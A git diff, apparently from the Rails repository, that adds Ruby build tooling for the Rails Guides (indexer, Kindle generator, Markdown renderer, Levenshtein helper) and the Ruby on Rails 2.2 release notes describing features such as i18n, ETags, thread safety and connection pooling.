+ documents_by_section.to(3)
+ else
+ documents_by_section.from(4)
+ end
+ end
+
+ def author(name, nick, image = 'credits_pic_blank.gif', &block)
+ image = "images/#{image}"
+
+ result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name, :width => 91, :height => 91)
+ result << content_tag(:h3, name)
+ result << content_tag(:p, capture(&block))
+ content_tag(:div, result, :class => 'clearfix', :id => nick)
+ end
+
+ def code(&block)
+ c = capture(&block)
+ content_tag(:code, c)
+ end
+ end
+end
diff --git a/guides/rails_guides/indexer.rb b/guides/rails_guides/indexer.rb
new file mode 100644
index 0000000..89fbccb
--- /dev/null
+++ b/guides/rails_guides/indexer.rb
@@ -0,0 +1,68 @@
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/string/inflections'
+
+module RailsGuides
+ class Indexer
+ attr_reader :body, :result, :warnings, :level_hash
+
+ def initialize(body, warnings)
+ @body = body
+ @result = @body.dup
+ @warnings = warnings
+ end
+
+ def index
+ @level_hash = process(body)
+ end
+
+ private
+
+ def process(string, current_level=3, counters=[1])
+ s = StringScanner.new(string)
+
+ level_hash = {}
+
+ while !s.eos?
+ re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
+ s.match?(re)
+ if matched = s.matched
+ matched =~ re
+ level, idx, title = $1.to_i, $2, $3.strip
+
+ if level < current_level
+ # This is needed. Go figure.
+ return level_hash
+ elsif level == current_level
+ index = counters.join(".")
+ idx ||= '#' + title_to_idx(title)
+
+ raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
+
+ key = {
+ :title => title,
+ :id => idx
+ }
+ # Recurse
+ counters << 1
+ level_hash[key] = process(s.post_match, current_level + 1, counters)
+ counters.pop
+
+ # Increment the current level
+ last = counters.pop
+ counters << last + 1
+ end
+ end
+ s.getch
+ end
+ level_hash
+ end
+
+ def title_to_idx(title)
+ idx = title.strip.parameterize.sub(/^\d+/, '')
+ if warnings && idx.blank?
+ puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
+ end
+ idx
+ end
+ end
+end
diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb
new file mode 100644
index 0000000..09eecd5
--- /dev/null
+++ b/guides/rails_guides/kindle.rb
@@ -0,0 +1,119 @@
+#!/usr/bin/env ruby
+
+unless `which kindlerb`
+ abort "Please gem install kindlerb"
+end
+
+require 'nokogiri'
+require 'fileutils'
+require 'yaml'
+require 'date'
+
+module Kindle
+ extend self
+
+ def generate(output_dir, mobi_outfile, logfile)
+ output_dir = File.absolute_path(output_dir)
+ Dir.chdir output_dir do
+ puts "=> Using output dir: #{output_dir}"
+ puts "=> Arranging html pages in document order"
+ toc = File.read("toc.ncx")
+ doc = Nokogiri::XML(toc).xpath("//ncx:content", 'ncx' => "http://www.daisy.org/z3986/2005/ncx/")
+ html_pages = doc.select {|c| c[:src]}.map {|c| c[:src]}.uniq
+
+ generate_front_matter(html_pages)
+
+ generate_sections(html_pages)
+
+ generate_document_metadata(mobi_outfile)
+
+ puts "Creating MOBI document with kindlegen. This make take a while."
+ cmd = "kindlerb . > #{File.absolute_path logfile} 2>&1"
+ puts cmd
+ system(cmd)
+ puts "MOBI document generated at #{File.expand_path(mobi_outfile, output_dir)}"
+ end
+ end
+
+ def generate_front_matter(html_pages)
+ frontmatter = []
+ html_pages.delete_if {|x|
+ if x =~ /(toc|welcome|credits|copyright).html/
+ frontmatter << x unless x =~ /toc/
+ true
+ end
+ }
+ html = frontmatter.map {|x|
+ Nokogiri::HTML(File.open(x)).at("body").inner_html
+ }.join("\n")
+
+ fdoc = Nokogiri::HTML(html)
+ fdoc.search("h3").each do |h3|
+ h3.name = 'h4'
+ end
+ fdoc.search("h2").each do |h2|
+ h2.name = 'h3'
+ h2['id'] = h2.inner_text.gsub(/\s/, '-')
+ end
+ add_head_section fdoc, "Front Matter"
+ File.open("frontmatter.html",'w') {|f| f.puts fdoc.to_html}
+ html_pages.unshift "frontmatter.html"
+ end
+
+ def generate_sections(html_pages)
+ FileUtils::rm_rf("sections/")
+ html_pages.each_with_index do |page, section_idx|
+ FileUtils::mkdir_p("sections/%03d" % section_idx)
+ doc = Nokogiri::HTML(File.open(page))
+ title = doc.at("title").inner_text.gsub("Ruby on Rails Guides: ", '')
+ title = page.capitalize.gsub('.html', '') if title.strip == ''
+ File.open("sections/%03d/_section.txt" % section_idx, 'w') {|f| f.puts title}
+ doc.xpath("//h3[@id]").each_with_index do |h3,item_idx|
+ subsection = h3.inner_text
+ content = h3.xpath("./following-sibling::*").take_while {|x| x.name != "h3"}.map {|x| x.to_html}
+ item = Nokogiri::HTML(h3.to_html + content.join("\n"))
+ item_path = "sections/%03d/%03d.html" % [section_idx, item_idx]
+ add_head_section(item, subsection)
+ item.search("img").each do |img|
+ img['src'] = "#{Dir.pwd}/#{img['src']}"
+ end
+ item.xpath("//li/p").each {|p| p.swap(p.children); p.remove}
+ File.open(item_path, 'w') {|f| f.puts item.to_html}
+ end
+ end
+ end
+
+ def generate_document_metadata(mobi_outfile)
+ puts "=> Generating _document.yml"
+ x = Nokogiri::XML(File.open("rails_guides.opf")).remove_namespaces!
+ cover_jpg = "#{Dir.pwd}/images/rails_guides_kindle_cover.jpg"
+ cover_gif = cover_jpg.sub(/jpg$/, 'gif')
+ puts `convert #{cover_jpg} #{cover_gif}`
+ document = {
+ 'doc_uuid' => x.at("package")['unique-identifier'],
+ 'title' => x.at("title").inner_text.gsub(/\(.*$/, " v2"),
+ 'publisher' => x.at("publisher").inner_text,
+ 'author' => x.at("creator").inner_text,
+ 'subject' => x.at("subject").inner_text,
+ 'date' => x.at("date").inner_text,
+ 'cover' => cover_gif,
+ 'masthead' => nil,
+ 'mobi_outfile' => mobi_outfile
+ }
+ puts document.to_yaml
+ File.open("_document.yml", 'w'){|f| f.puts document.to_yaml}
+ end
+
+ def add_head_section(doc, title)
+ head = Nokogiri::XML::Node.new "head", doc
+ title_node = Nokogiri::XML::Node.new "title", doc
+ title_node.content = title
+ title_node.parent = head
+ css = Nokogiri::XML::Node.new "link", doc
+ css['rel'] = 'stylesheet'
+ css['type'] = 'text/css'
+ css['href'] = "#{Dir.pwd}/stylesheets/kindle.css"
+ css.parent = head
+ doc.at("body").before head
+ end
+end
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
new file mode 100644
index 0000000..489aa3e
--- /dev/null
+++ b/guides/rails_guides/levenshtein.rb
@@ -0,0 +1,31 @@
+module RailsGuides
+ module Levenshtein
+ # Based on the pseudocode in http://en.wikipedia.org/wiki/Levenshtein_distance
+ def self.distance(s1, s2)
+ s = s1.unpack('U*')
+ t = s2.unpack('U*')
+ m = s.length
+ n = t.length
+
+ # matrix initialization
+ d = []
+ 0.upto(m) { |i| d << [i] }
+ 0.upto(n) { |j| d[0][j] = j }
+
+ # distance computation
+ 1.upto(m) do |i|
+ 1.upto(n) do |j|
+ cost = s[i] == t[j] ? 0 : 1
+ d[i][j] = [
+ d[i-1][j] + 1, # deletion
+ d[i][j-1] + 1, # insertion
+ d[i-1][j-1] + cost, # substitution
+ ].min
+ end
+ end
+
+ # all done
+ return d[m][n]
+ end
+ end
+end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
new file mode 100644
index 0000000..547c6d2
--- /dev/null
+++ b/guides/rails_guides/markdown.rb
@@ -0,0 +1,163 @@
+# encoding: utf-8
+
+require 'redcarpet'
+require 'nokogiri'
+require 'rails_guides/markdown/renderer'
+
+module RailsGuides
+ class Markdown
+ def initialize(view, layout)
+ @view = view
+ @layout = layout
+ @index_counter = Hash.new(0)
+ @raw_header = ''
+ @node_ids = {}
+ end
+
+ def render(body)
+ @raw_body = body
+ extract_raw_header_and_body
+ generate_header
+ generate_title
+ generate_body
+ generate_structure
+ generate_index
+ render_page
+ end
+
+ private
+
+ def dom_id(nodes)
+ dom_id = dom_id_text(nodes.last.text)
+
+ # Fix duplicate node by prefix with its parent node
+ if @node_ids[dom_id]
+ if @node_ids[dom_id].size > 1
+ duplicate_nodes = @node_ids.delete(dom_id)
+ new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}"
+ duplicate_nodes.last[:id] = new_node_id
+ @node_ids[new_node_id] = duplicate_nodes
+ end
+
+ dom_id = "#{nodes[-2][:id]}-#{dom_id}"
+ end
+
+ @node_ids[dom_id] = nodes
+ dom_id
+ end
+
+ def dom_id_text(text)
+ text.downcase.gsub(/\?/, '-questionmark').gsub(/!/, '-bang').gsub(/[^a-z0-9]+/, ' ')
+ .strip.gsub(/\s+/, '-')
+ end
+
+ def engine
+ @engine ||= Redcarpet::Markdown.new(Renderer, {
+ no_intra_emphasis: true,
+ fenced_code_blocks: true,
+ autolink: true,
+ strikethrough: true,
+ superscript: true,
+ tables: true
+ })
+ end
+
+ def extract_raw_header_and_body
+ if @raw_body =~ /^\-{40,}$/
+ @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip)
+ end
+ end
+
+ def generate_body
+ @body = engine.render(@raw_body)
+ end
+
+ def generate_header
+ @header = engine.render(@raw_header).html_safe
+ end
+
+ def generate_structure
+ @headings_for_index = []
+ if @body.present?
+ @body = Nokogiri::HTML(@body).tap do |doc|
+ hierarchy = []
+
+ doc.at('body').children.each do |node|
+ if node.name =~ /^h[3-6]$/
+ case node.name
+ when 'h3'
+ hierarchy = [node]
+ @headings_for_index << [1, node, node.inner_html]
+ when 'h4'
+ hierarchy = hierarchy[0, 1] + [node]
+ @headings_for_index << [2, node, node.inner_html]
+ when 'h5'
+ hierarchy = hierarchy[0, 2] + [node]
+ when 'h6'
+ hierarchy = hierarchy[0, 3] + [node]
+ end
+
+ node[:id] = dom_id(hierarchy)
+ node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}"
+ end
+ end
+ end.to_html
+ end
+ end
+
+ def generate_index
+ if @headings_for_index.present?
+ raw_index = ''
+ @headings_for_index.each do |level, node, label|
+ if level == 1
+ raw_index += "1. [#{label}](##{node[:id]})\n"
+ elsif level == 2
+ raw_index += " * [#{label}](##{node[:id]})\n"
+ end
+ end
+
+ @index = Nokogiri::HTML(engine.render(raw_index)).tap do |doc|
+ doc.at('ol')[:class] = 'chapters'
+ end.to_html
+
+ @index = <<-INDEX.html_safe
+ <div id="subCol">
+ <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+ #{@index}
+ </div>
+ INDEX
+ end
+ end
+
+ def generate_title
+ if heading = Nokogiri::HTML(@header).at(:h2)
+ @title = "#{heading.text} — Ruby on Rails Guides".html_safe
+ else
+ @title = "Ruby on Rails Guides"
+ end
+ end
+
+ def node_index(hierarchy)
+ case hierarchy.size
+ when 1
+ @index_counter[2] = @index_counter[3] = @index_counter[4] = 0
+ "#{@index_counter[1] += 1}"
+ when 2
+ @index_counter[3] = @index_counter[4] = 0
+ "#{@index_counter[1]}.#{@index_counter[2] += 1}"
+ when 3
+ @index_counter[4] = 0
+ "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}"
+ when 4
+ "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}"
+ end
+ end
+
+ def render_page
+ @view.content_for(:header_section) { @header }
+ @view.content_for(:page_title) { @title }
+ @view.content_for(:index_section) { @index }
+ @view.render(:layout => @layout, :text => @body)
+ end
+ end
+end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
new file mode 100644
index 0000000..2eb7ca1
--- /dev/null
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -0,0 +1,82 @@
+module RailsGuides
+ class Markdown
+ class Renderer < Redcarpet::Render::HTML
+ def initialize(options={})
+ super
+ end
+
+ def block_code(code, language)
+ <<-HTML
+<div class="code_container">
+<pre class="brush: #{brush_for(language)}; gutter: false; toolbar: false">
+#{ERB::Util.h(code)}
+</pre>
+</div>
+HTML
+ end
+
+ def header(text, header_level)
+ # Always increase the heading level by, so we can use h1, h2 heading in the document
+ header_level += 1
+
+ %(<h#{header_level}>#{text}</h#{header_level}>)
+ end
+
+ def paragraph(text)
+ if text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)/
+ convert_notes(text)
+ elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
+ linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>)
+ %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>)
+ else
+ text = convert_footnotes(text)
+ "<p>#{text}</p>"
+ end
+ end
+
+ private
+
+ def convert_footnotes(text)
+ text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do
+ %(<sup class="footnote" id="footnote-#{$1}-ref">) +
+ %(<a href="#footnote-#{$1}">#{$1}</a></sup>)
+ end
+ end
+
+ def brush_for(code_type)
+ case code_type
+ when 'ruby', 'sql', 'plain'
+ code_type
+ when 'erb'
+ 'ruby; html-script: true'
+ when 'html'
+ 'xml' # html is understood, but there are .xml rules in the CSS
+ else
+ 'plain'
+ end
+ end
+
+ def convert_notes(body)
+ # The following regexp detects special labels followed by a
+ # paragraph, perhaps at the end of the document.
+ #
+ # It is important that we do not eat more than one newline
+ # because formatting may be wrong otherwise. For example,
+ # if a bulleted list follows the first item is not rendered
+ # as a list item, but as a paragraph starting with a plain
+ # asterisk.
+ body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do
+ css_class = case $1
+ when 'CAUTION', 'IMPORTANT'
+ 'warning'
+ when 'TIP'
+ 'info'
+ else
+ $1.downcase
+ end
+ %(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
+ end
+ end
+ end
+ end
+end
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
new file mode 100644
index 0000000..802455f
--- /dev/null
+++ b/guides/source/2_2_release_notes.md
@@ -0,0 +1,435 @@
+Ruby on Rails 2.2 Release Notes
+===============================
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
+
+--------------------------------------------------------------------------------
+
+Infrastructure
+--------------
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+### Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+ * [Official Rails i18 website](http://rails-i18n.org)
+ * [Finally. Ruby on Rails gets internationalized](http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized)
+ * [Localizing Rails : Demo application](http://github.com/clemens/i18n_demo_app)
+
+### Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+Documentation
+-------------
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* [Getting Started with Rails](getting_started.html)
+* [Rails Database Migrations](migrations.html)
+* [Active Record Associations](association_basics.html)
+* [Active Record Query Interface](active_record_querying.html)
+* [Layouts and Rendering in Rails](layouts_and_rendering.html)
+* [Action View Form Helpers](form_helpers.html)
+* [Rails Routing from the Outside In](routing.html)
+* [Action Controller Overview](action_controller_overview.html)
+* [Rails Caching](caching_with_rails.html)
+* [A Guide to Testing Rails Applications](testing.html)
+* [Securing Rails Applications](security.html)
+* [Debugging Rails Applications](debugging_rails_applications.html)
+* [Performance Testing Rails Applications](performance_testing.html)
+* [The Basics of Creating Rails Plugins](plugins.html)
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+```
+rake doc:guides
+```
+
+This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.
+
+* Lead Contributors: [Rails Documentation Team](credits.html)
+* Major contributions from [Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai](http://izumi.plan99.net/blog/.)
+* More information:
+ * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide)
+ * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
+
+Better integration with HTTP : Out of the box ETag support
+----------------------------------------------------------
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+```ruby
+class ArticlesController < ApplicationController
+ def show_with_respond_to_block
+ @article = Article.find(params[:id])
+
+ # If the request sends headers that differs from the options provided to stale?, then
+ # the request is indeed stale and the respond_to block is triggered (and the options
+ # to the stale? call is set on the response).
+ #
+ # If the request headers match, then the request is fresh and the respond_to block is
+ # not triggered. Instead the default render will occur, which will check the last-modified
+ # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+ # of rendering the template.
+ if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+ respond_to do |wants|
+ # normal response processing
+ end
+ end
+ end
+
+ def show_with_implied_render
+ @article = Article.find(params[:id])
+
+ # Sets the response headers and checks them against the request, if the request is stale
+ # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+ # If the request is fresh, then the default render will return a "304 Not Modified"
+ # instead of rendering the template.
+ fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+ end
+end
+```
+
+Thread Safety
+-------------
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`:
+
+```ruby
+config.threadsafe!
+```
+
+* More information :
+ * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
+ * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
+ * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)
+
+Active Record
+-------------
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+### Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail [...]
+
+* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/)
+* More information:
+ * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
+ * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)
+
+### Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it.
+
+```yaml
+development:
+ adapter: mysql
+ username: root
+ database: sample_development
+ pool: 10
+ wait_timeout: 10
+```
+
+* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/)
+* More information:
+ * [What's New in Edge Rails: Connection Pools](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools)
+
+### Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+```ruby
+class Photo < ActiveRecord::Base
+ belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+ has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+```
+
+* More information:
+ * [What's New in Edge Rails: Easy Join Table Conditions](http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions)
+
+### New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+#### `find_last_by_attribute`
+
+The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})`
+
+```ruby
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+```
+
+* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua)
+
+#### `find_by_attribute!`
+
+The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+```ruby
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+```
+
+* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com)
+
+### Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` t [...]
+
+* Lead Contributor: Adam Milligan
+* More information:
+ * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/)
+
+### Other ActiveRecord Changes
+
+* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
+* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
+* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer.
+* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names
+
+Action Controller
+-----------------
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+### Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+
+```ruby
+map.resources :publishers, :shallow => true do |publisher|
+ publisher.resources :magazines do |magazine|
+ magazine.resources :photos
+ end
+end
+```
+
+This will enable recognition of (among others) these routes:
+
+```
+/publishers/1 ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2 ==> magazine_path(2)
+/magazines/2/photos ==> magazines_photos_path(2)
+/photos/3 ==> photo_path(3)
+```
+
+* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/)
+* More information:
+ * [Rails Routing from the Outside In](routing.html#nested-resources)
+ * [What's New in Edge Rails: Shallow Routes](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes)
+
+### Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+```ruby
+map.resources :photos, :collection => { :search => [:get, :post] }
+```
+
+* Lead Contributor: [Brennan Dunn](http://brennandunn.com/)
+
+### Resources With Specific Actions
+
+By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. Th [...]
+
+```ruby
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+```
+
+* Lead Contributor: [Tom Stuart](http://experthuman.com/)
+
+### Other Action Controller Changes
+
+* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).
+* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.
+
+Action View
+-----------
+
+* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code.
+* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
+* `RJS#page.reload` to reload the browser's current location via JavaScript
+* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions.
+
+Action Mailer
+-------------
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`.
+
+* More information:
+ * [What's New in Edge Rails: Mailer Layouts](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts)
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+Active Support
+--------------
+
+Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods.
+
+### Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+```ruby
+def full_name
+ @full_name ||= "#{first_name} #{last_name}"
+end
+```
+
+Memoization lets you handle this task in a declarative fashion:
+
+```ruby
+extend ActiveSupport::Memoizable
+
+def full_name
+ "#{first_name} #{last_name}"
+end
+memoize :full_name
+```
+
+Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off.
+
+* Lead Contributor: [Josh Peek](http://joshpeek.com/)
+* More information:
+ * [What's New in Edge Rails: Easy Memoization](http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization)
+ * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization)
+
+### each_with_object
+
+The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+```ruby
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+```
+
+Lead Contributor: [Adam Keys](http://therealadam.com/)
+
+### Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+```ruby
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => true
+end
+```
+
+This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix:
+
+```ruby
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => :owner
+end
+```
+
+This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`.
+
+Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck)
+
+### Other Active Support Changes
+
+* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes.
+* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax.
+* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons.
+* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]`
+* `Enumerable#many?` to encapsulate `collection.size > 1`
+* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
+* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`
+
+Railties
+--------
+
+In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism.
+
+### config.gems
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* `config.gem _gem_name_` in your `config/environment.rb` file
+* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
+* `rake gems:install` to install missing gems to the computer
+* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems`
+* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems`
+* `rake gems:build` to build any missing native extensions
+* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line.
+
+* Lead Contributor: [Matt Jones](http://github.com/al2o3cr)
+* More information:
+ * [What's New in Edge Rails: Gem Dependencies](http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies)
